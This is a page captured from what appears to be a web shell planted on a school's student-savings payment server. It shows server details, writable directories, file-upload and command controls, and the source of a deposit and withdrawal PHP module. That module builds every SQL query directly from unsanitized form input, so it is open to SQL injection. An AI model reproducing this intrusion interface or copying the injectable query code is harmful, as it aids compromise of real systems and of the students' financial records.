403Webshell
Server IP : 216.106.184.20  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux asmodeus.in-hell.com 5.14.0-570.58.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 29 06:24:11 EDT 2025 x86_64
User : sekoaid1 ( 1891)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sekoaid1/spp.raudhatulfalah.sch.id/siswa/com_transaksi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/sekoaid1/spp.raudhatulfalah.sch.id/siswa/com_transaksi/transaksi.php
<?php
include '../../config/koneksi.php';
include 'config/rupiah.php';


if ($_GET['aksi'] == '') {

  $query_saldo = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi");
  $row_saldo = mysql_fetch_array($query_saldo);
  $saldo_keseluruhan = $row_saldo['jumlah_debit'] - $row_saldo['jumlah_kredit'];



?>


  <section class="content-header">
    <br><br>
    <ol class="breadcrumb">
      <li><a href="index.php"><i class="fa fa-dashboard"></i>Dashboard</a></li>
      <li class="active">Data <?php echo $_GET['view']; ?> <small></small></li>
    </ol>
  </section>

  <div class="clearfix"></div>
  </div>
  <div class="col-md-9 col-sm-12 col-xs-12">
    <a class="btn btn-success btn-sm" data-toggle="modal" data-target="#modalAdd "><i class="glyphicon glyphicon-save-file"></i> Setoran Tunai</a>
    <a class="btn btn-danger btn-sm" data-toggle="modal" data-target="#tarikAdd"><i class="glyphicon glyphicon-open-file"></i> Penarikan Tunai</a>


  </div>
  <div class="col-md-3 col-sm-12 col-xs-12" style="margin-left: 0px;">
    <h4><small>Saldo : </small>Rp. <?php echo rupiah($saldo_keseluruhan); ?></h4>
  </div>
  <div class="form-group">
    <div class="col-xs-12">
      <div class="box">
        <!-- /.box-header -->
        <div class="box-body">
          <table id="example1" class="table table-responsive no-padding table-striped">
            <thead>
              <tr>
                <th width="20">Tipe</th>
                <th>Tanggal</th>
                <th>No Transaksi</th>
                <th>Siswa</th>
                <th>Debit</th>
                <th>Kredit</th>
                <th width="110">Saldo</th>
              </tr>
            </thead>
            <tbody>
              <?php
              $no = 0;
              $query = mysql_query("SELECT * FROM transaksi JOIN siswa ON transaksi.idSiswa=siswa.idSiswa order by id_transaksi asc ");

              $count = 2;



              while ($row = mysql_fetch_array($query)) {
                $no++;
              ?>

                <tr style="background: <?php if ($row['kredit'] == 0) { ?>
                          #defff1;
                          <?php } else { ?>
                            #feeeea;
                            <?php } ?>">
                  <td><?php if ($row['kredit'] == 0) { ?><a class="btn btn-success btn-xs"><i class="glyphicon glyphicon-save-file"></i></a> <?php } else { ?> <a class="btn btn-danger btn-xs"><i class="glyphicon glyphicon-open-file"></i></a><?php } ?></td>
                  <td><?php echo $row['tanggal']; ?></td>
                  <td><?php echo $row['id_transaksi']; ?></td>
                  <td><?php echo $row['nmSiswa']; ?></td>

                  <?php if ($count == 1) { ?>

                    <td><?php echo "Rp." . rupiah($row['debit']); ?></td>
                    <td><?php echo "Rp." . rupiah($row['kredit']); ?></td>
                    <td>
                      <?php
                      $debit = $row['debit'];
                      $saldo = $row['debit'];
                      echo "Rp." . rupiah($saldo);
                      ?>
                    </td>

                    <?php } else {
                    if ($row['debit'] != 0) {
                    ?>
                      <td><?php echo "Rp." . rupiah($row['debit']); ?></td>
                      <td><?php echo "Rp." . rupiah($row['kredit']); ?></td>
                      <td>
                        <?php
                        $debit = $denit + $row['debit'];
                        $saldo = $saldo + $row['debit'];
                        echo "Rp." . rupiah($saldo);
                        ?>


                      <?php } else { ?>
                      <td><?php echo "Rp." . rupiah($row['debit']); ?></td>
                      <td><?php echo "Rp." . rupiah($row['kredit']); ?></td>
                      <td>
                    <?php
                      $kredit = $kredit + $row['kredit'];
                      $saldo = $saldo - $row['kredit'];
                      echo "Rp." . rupiah($saldo);
                    }
                  }
                  $count++
                    ?>

                </tr>

              <?php } ?>




            </tbody>
          </table>


        </div>
      </div>
    </div>
    <!-- /page content --><br>





    <?php } elseif ($_GET['aksi'] == 'setoran_tunai') {

    if (isset($_POST['tunai'])) {

      if (empty($_POST['kredit'])) {
        mysql_query("INSERT INTO transaksi(id_transaksi,
                                  idSiswa,
                                  tanggal,
                                  debit,
                                  kredit,
                                  keterangan) VALUES('$_POST[id]',
                                                 '$_POST[idSiswa]',
                                                 '$_POST[tanggal]',
                                                 '$_POST[debit]',
                                                 '0',
                                                 '$_POST[keterangan]')");


        $query_saldo = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi WHERE idSiswa ='$_POST[idSiswa]'");
        $saldo = mysql_fetch_array($query_saldo);
        $saldoo = $saldo['jumlah_debit'] - $saldo['jumlah_kredit'];
        mysql_query("UPDATE siswa SET saldo = '$saldoo'
                                    WHERE idSiswa = '$_POST[idSiswa]'");
      } else {
        mysql_query("INSERT INTO transaksi(id_transaksi,
                                  idSiswa,
                                  tanggal,
                                  debit,
                                  kredit,
                                  keterangan) VALUES('$_POST[id]',
                                                 '$_POST[idSiswa]',
                                                 '$_POST[tanggal]',
                                                 '0',
                                                 '$_POST[kredit]',
                                                 '$_POST[keterangan]')");

        $query_saldo = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi WHERE idSiswa ='$_POST[idSiswa]'");
        $saldo = mysql_fetch_array($query_saldo);
        $saldoo = $saldo['jumlah_debit'] - $saldo['jumlah_kredit'];

        mysql_query("UPDATE siswa SET saldo = '$saldoo'
                                    WHERE idSiswa = '$_POST[idSiswa]'");
      }




      echo "<script language='javascript'>document.location='?view=transaksi';</script>";
    } else {

      $id = $_POST['nisnSiswa'];
      $query = mysql_query("SELECT * FROM siswa WHERE nisnSiswa='$id'");
      $r = mysql_fetch_array($query);
      $cek = mysql_num_rows(mysql_query("SELECT * FROM siswa WHERE nisnSiswa='$_POST[nisnSiswa]'"));
      if ($cek == 0) {
        echo "<script>window.alert('Nomor Nisn Tidak ada !')
    window.location='?view=transaksi'</script>";
      } else {
    ?>

        <div class="col-xs-12">
          <div class="box box-info box-solid">
            <div class="box-header with-border">
              <h3 class="box-title"> </h3>
              <h2>Setoran Tunai</h2>

              <div class="form-group"></div>
            </div>
            <div class="x_content">
              <form action="?view=transaksi&aksi=setoran_tunai" enctype="multipart/form-data" method="POST">
                <div class="form-group">
                  <div class="col-md-6">
                    <?php
                    $query = "SELECT max(id_transaksi) as maxID FROM transaksi ";
                    $hasil = mysql_query($query);
                    $data = @mysql_fetch_array($hasil);
                    $idMax = $data['maxID'];

                    $noUrut = (int) substr($idMax, 1, 9);
                    $noUrut++;
                    $char = "T";
                    $newID = $char . sprintf("%05s", $noUrut);
                    ?>
                    <label for="id">ID Transaksi :</label>
                    <input type="text" class="form-control" disabled value="<?php echo $newID; ?>" />
                    <input type="hidden" class="form-control" name="id" value="<?php echo $newID; ?>" />


                    <label for="nama">Nomor Rekening :</label>
                    <input type="hidden" class="form-control" name="idSiswa" value="<?php echo $r['idSiswa']; ?>" />
                    <input type="text" disabled class="form-control" value="<?php echo $r['nisnSiswa']; ?>" />

                    <label for="alamat">Nama :</label>
                    <input class="form-control" disabled value="<?php echo $r['nmSiswa']; ?>">

                    <label for="alamat">Agama :</label>
                    <input class="form-control" disabled value="<?php echo $r['agamaSiswa']; ?>">

                    <label for="username">Alamat :</label>
                    <input type="text" disabled class="form-control" value="<?php echo $r['alamatOrtu']; ?>" disabled />

                    <label for="password">Orang Tua :</label>
                    <input type="text" class="form-control" value="<?php echo $r['nmOrtu']; ?>" disabled />

                  </div>
                  <div class="col-md-6">

                    <label for="password">Total Saldo :</label>
                    <?php
                    $query_saldo = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi WHERE idSiswa ='" . $r['idSiswa'] . "'");
                    $saldo = mysql_fetch_array($query_saldo);
                    $saldoo = $saldo['jumlah_debit'] - $saldo['jumlah_kredit'];
                    ?>
                    <h3>Rp. <?php echo rupiah($saldoo); ?></h3>

                    <label for="password">Saldo Bulan ini :</label>
                    <?php
                    $bulan = date('m');
                    $query_bulan = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi WHERE DATE_FORMAT((tanggal),'%m') like '%$bulan%' AND idSiswa ='" . $r['idSiswa'] . "'");
                    $saldo_bulan = mysql_fetch_array($query_bulan);
                    $saldo_b = $saldo_bulan['jumlah_debit'] - $saldo_bulan['jumlah_kredit'];
                    ?>
                    <h3>Rp. <?php echo rupiah($saldo_b); ?></h3>

                    <label for="password">Jumlah Setoran :</label>
                    <input type="hidden" class="form-control" name="kredit" />
                    <input type="text" class="form-control" name="debit" autofocus=”autofocus” autocomplete="off" />



                    <label for="alamat">Keterangan :</label>
                    <textarea class="form-control" name="keterangan"></textarea>

                    <label for="tanggal">Tanggal Transaksi :</label>
                    <div class="input-group">
                      <div class="input-group-addon"><i class="glyphicon glyphicon-calendar"></i></div>
                      <input type="text" class="form-control " value="<?php echo date("Y-m-d"); ?>" id="tanggal" name="tanggal">

                    </div>
                    <p> *)Abaikan Pengeditan Jika Ingin Tanggal Transaksi Otomatis Tanggal Sekarang <br> <br>*) Jika Ingin Input Tanggal Manual Maka Harus Di Ketik Manual Dengan Format (2019-07-02) <b>Hati Hati Harus Sesuai Format !!!</b> </p>
                  </div>


                  <div class="col-md-6"></div>
                  <div class="form-group">
                    <button type="button" class="btn btn-default btn-sm" onclick=self.history.back()>Batal</button>
                    <button type="submit" name="tunai" class="btn btn-success btn-sm">Simpan</button>

                  </div>
              </form>
            </div>
          </div>
        </div>

  </div>
  </div>
  </div>
  </div>
  </div>
  </div>
  <!-- /page content -->





<?php }
    }
  } elseif ($_GET['aksi'] == 'penarikan_tunai') {

    if (isset($_POST['tarik'])) {

      if (empty($_POST['kredit'])) {
        mysql_query("INSERT INTO transaksi(id_transaksi,
                                  idSiswa,
                                  tanggal,
                                  debit,
                                  kredit,
                                  keterangan) VALUES('$_POST[id]',
                                                 '$_POST[idSiswa]',
                                                 '$_POST[tanggal]',
                                                 '$_POST[debit]',
                                                 '0',
                                                 '$_POST[keterangan]')");


        $query_saldo = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi WHERE idSiswa ='$_POST[idSiswa]'");
        $saldo = mysql_fetch_array($query_saldo);
        $saldoo = $saldo['jumlah_debit'] - $saldo['jumlah_kredit'];
        mysql_query("UPDATE siswa SET saldo = '$saldoo'
                                    WHERE idSiswa = '$_POST[idSiswa]'");
      } else {
        mysql_query("INSERT INTO transaksi(id_transaksi,
                                  idSiswa,
                                  tanggal,
                                  debit,
                                  kredit,
                                  keterangan) VALUES('$_POST[id]',
                                                 '$_POST[idSiswa]',
                                                 '$_POST[tanggal]',
                                                 '0',
                                                 '$_POST[kredit]',
                                                 '$_POST[keterangan]')");

        $query_saldo = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi WHERE idSiswa ='$_POST[idSiswa]'");
        $saldo = mysql_fetch_array($query_saldo);
        $saldoo = $saldo['jumlah_debit'] - $saldo['jumlah_kredit'];

        mysql_query("UPDATE siswa SET saldo = '$saldoo'
                                    WHERE idSiswa = '$_POST[idSiswa]'");
      }




      echo "<script language='javascript'>document.location='?view=transaksi';</script>";
    } else {


      $id = $_POST['nisnSiswa'];
      $query = mysql_query("SELECT * FROM siswa WHERE nisnSiswa='$id'");
      $r = mysql_fetch_array($query);

      $cek = mysql_num_rows(mysql_query("SELECT * FROM siswa WHERE nisnSiswa='$_POST[nisnSiswa]'"));
      if ($cek == 0) {
        echo "<script>window.alert('Nomor Rekening Tidak ada !')
    window.location='?view=transaksi'</script>";
      } else {

?>

  <!-- page content -->

  <div class="col-xs-12">
    <div class="box box-info box-solid">
      <div class="box-header with-border">
        <h3 class="box-title"> </h3>
        <h2>Penarikan Tunai</h2>

        <div class="form-group"></div>
      </div>
      <div class="x_content">
        <form action="?view=transaksi&aksi=penarikan_tunai" enctype="multipart/form-data" method="POST">
          <div class="form-group">
            <div class="col-md-6">
              <?php
              $query = "SELECT max(id_transaksi) as maxID FROM transaksi ";
              $hasil = mysql_query($query);
              $data = @mysql_fetch_array($hasil);
              $idMax = $data['maxID'];

              $noUrut = (int) substr($idMax, 1, 9);
              $noUrut++;
              $char = "T";
              $newID = $char . sprintf("%05s", $noUrut);
              ?>
              <label for="id">ID Transaksi :</label>
              <input type="text" class="form-control" disabled value="<?php echo $newID; ?>" />
              <input type="hidden" class="form-control" name="id" value="<?php echo $newID; ?>" />


              <label for="nama">Nomor Rekening :</label>
              <input type="hidden" class="form-control" name="idSiswa" value="<?php echo $r['idSiswa']; ?>" />
              <input type="hidden" class="form-control" name="nisnSiswa" value="<?php echo $r['nisnSiswa']; ?>" />
              <input type="text" disabled class="form-control" value="<?php echo $r['nisnSiswa']; ?>" />

              <label for="alamat">Nama :</label>
              <input class="form-control" disabled value="<?php echo $r['nmSiswa']; ?>">

              <label for="alamat">Agama :</label>
              <input class="form-control" disabled value="<?php echo $r['agamaSiswa']; ?>">


              <label for="username">Alamat :</label>
              <input type="text" disabled class="form-control" value="<?php echo $r['alamatOrtu']; ?>" disabled />

              <label for="password">Orang Tua :</label>
              <input type="text" class="form-control" value="<?php echo $r['nmOrtu']; ?>" disabled />

            </div>
            <div class="col-md-6">

              <label for="password">Saldo :</label>
              <?php
              $query_saldo = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi WHERE idSiswa ='" . $r['idSiswa'] . "'");
              $saldo = mysql_fetch_array($query_saldo);
              $saldoo = $saldo['jumlah_debit'] - $saldo['jumlah_kredit'];
              ?>
              <h3>Rp. <?php echo rupiah($saldoo); ?></h3>

              <label for="password">Saldo Bulan ini :</label>
              <?php
              $bulan = date('m');
              $query_bulan = mysql_query("SELECT SUM(debit) as jumlah_debit, SUM(kredit) as jumlah_kredit FROM transaksi WHERE DATE_FORMAT((tanggal),'%m') like '%$bulan%' AND idSiswa ='" . $r['idSiswa'] . "'");
              $saldo_bulan = mysql_fetch_array($query_bulan);
              $saldo_b = $saldo_bulan['jumlah_debit'] - $saldo_bulan['jumlah_kredit'];
              ?>
              <h3>Rp. <?php echo rupiah($saldo_b); ?></h3>

              <label for="password">Jumlah Penarikan :</label>
              <input type="text" class="form-control" name="kredit" autofocus=”autofocus” autocomplete="off" />
              <input type="hidden" class="form-control" name="debit" />

              <label for="alamat">Keterangan :</label>
              <textarea class="form-control" name="keterangan"></textarea>
              <label for="tanggal">Tanggal Transaksi :</label>
              <div class="input-group">
                <div class="input-group-addon"><i class="glyphicon glyphicon-calendar"></i></div>
                <input type="text" class="form-control " value="<?php echo date("Y-m-d"); ?>" id="tanggal" name="tanggal">

              </div>
              <p> *)Abaikan Pengeditan Jika Ingin Tanggal Transaksi Otomatis Tanggal Sekarang <br> <br>*) Jika Ingin Input Tanggal Manual Maka Harus Di Ketik Manual Dengan Format (2019-07-02) <b>Hati Hati Harus Sesuai Format !!!</b> </p>
            </div>
          </div>




          <div class="col-md-6"></div>
          <div class="form-group">
            <button type="button" class="btn btn-default btn-sm" onclick=self.history.back()>Batal</button>
            <button type="submit" name="tarik" class="btn btn-success btn-sm">Simpan</button>

          </div>

        </form>
      </div>
    </div>
  </div>

  </div>
  </div>
  </div>
  </div>
  </div>
  </div>
  <!-- /page content -->


<?php }
    }
  } ?>

<!-- Modal -->
<div class="modal fade" id="modalAdd" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title" id="myModalLabel">Setoran Tunai</h4>
      </div>
      <div class="modal-body">

        <form action="?view=transaksi&aksi=setoran_tunai" class="form-horizontal form-label-left" method="POST">

          <div class="form-group">
            <div class="col-sm-12 col-sm-12 col-xs-12 ">
              <div class="input-group">
                <input type="text" class="typeahead form-control" placeholder="Tulis Nisn Siswa" required name="nisnSiswa" autofocus=”autofocus” autocomplete="off">
                <span class="input-group-btn">
                  <button type="submit" class="btn btn-success"><i class="fa fa-search"></i> Cari</button>
                </span>

              </div>

            </div>
          </div>
        </form>

      </div>

      <!-- end form for validations -->
    </div>
  </div>
</div>
<!-- /modal -->


<!-- Modal -->
<div class="modal fade" id="tarikAdd" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title" id="myModalLabel">Penarikan Tunai</h4>
      </div>
      <div class="modal-body">

        <form action="?view=transaksi&aksi=penarikan_tunai" class="form-horizontal form-label-left" method="POST">

          <div class="form-group">
            <div class="col-sm-12 col-sm-12 col-xs-12 ">
              <div class="input-group">
                <input type="text" class="typeahead form-control" placeholder="Tulis Nisn Siswa" required name="nisnSiswa" autofocus=”autofocus” autocomplete="off">
                <span class="input-group-btn">
                  <button type="submit" class="btn btn-danger"><i class="fa fa-search"></i> Cari</button>
                </span>

              </div>

            </div>
          </div>
        </form>

      </div>

      <!-- end form for validations -->
    </div>
  </div>
</div>
<!-- /modal -->

Youez - 2016 - github.com/yon3zu
LinuXploit